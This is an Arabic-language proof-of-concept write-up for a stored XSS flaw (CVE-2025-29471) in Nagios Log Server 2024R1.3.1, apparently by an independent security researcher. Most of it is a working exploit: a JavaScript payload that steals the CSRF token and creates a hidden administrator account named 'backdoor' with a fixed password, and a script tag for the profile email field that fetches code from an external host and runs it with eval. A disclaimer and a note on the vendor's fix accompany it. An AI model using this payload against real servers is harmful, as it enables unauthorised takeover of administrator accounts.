
ثغرة XSS مخزنة في Nagios Log Server 2024R1.3.1
2024R1.3.1 وما دونهاNagios Log Server 2024R1.3.1 (التكوين الافتراضي، Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:Hلأغراض الاختبار والبحث المصرّح به فقط. لا تختبر هذه الثغرة أو تستغلها على أنظمة لا تملكها أو لا تملك إذنًا صريحًا باختبارها.
تسمح ثغرة XSS مخزّنة في Nagios Log Server 2024R1.3.1 لمستخدم ذي صلاحيات منخفضة بحقن JavaScript ضار في حقل 'email' الخاص بملفه الشخصي.
عندما يعرض المسؤول سجلات التدقيق، يُنفَّذ الحمولة، مما يؤدي إلى تصعيد الصلاحيات عبر إنشاء حساب مسؤول غير مصرّح به.
xss.js على خادمك الخارجي بالمحتوى التالي. يعمل GitHub بشكل جيد.حدّث <target-ip> إلى عنوان IP/اسم المضيف الخاص بهدف Nagios Log Server.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
سجّل الدخول إلى Nagios Log Server كمستخدم عادي (غير مسؤول).
انتقل إلى نقطة نهاية تحديث الملف الشخصي:
http://<target-ip>/nagioslogserver/profile/update
أدخل الحمولة التالية في حقل البريد الإلكتروني. حدّث سطر fetch بعنوان URL حيث يتم تخزين xss.js.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor مع صلاحيات مسؤول كاملة في Nagios Log Server.Nagios Log Server 2024R2Nagios Log Server 2024R2 يعالج ثغرة XSS المخزّنة وأبلغ Nagios بذلكCVE-2025-29471 لهذه الثغرة الأمنية من نوع XSS المخزّنة، لكن التفاصيل ظلّت غير منشورة بسبب غياب إشعار أمني عام من المورّد2024R1.3.2) بنقل إصلاح الثغرة الأمنية من نوع XSS المخزّنة إلى فرع 2024R1CVE-2025-29471 رسميًاأُجري هذا العمل خارج نطاق عملي ويعكس جهودي الشخصية في أبحاث الأمن السيبراني.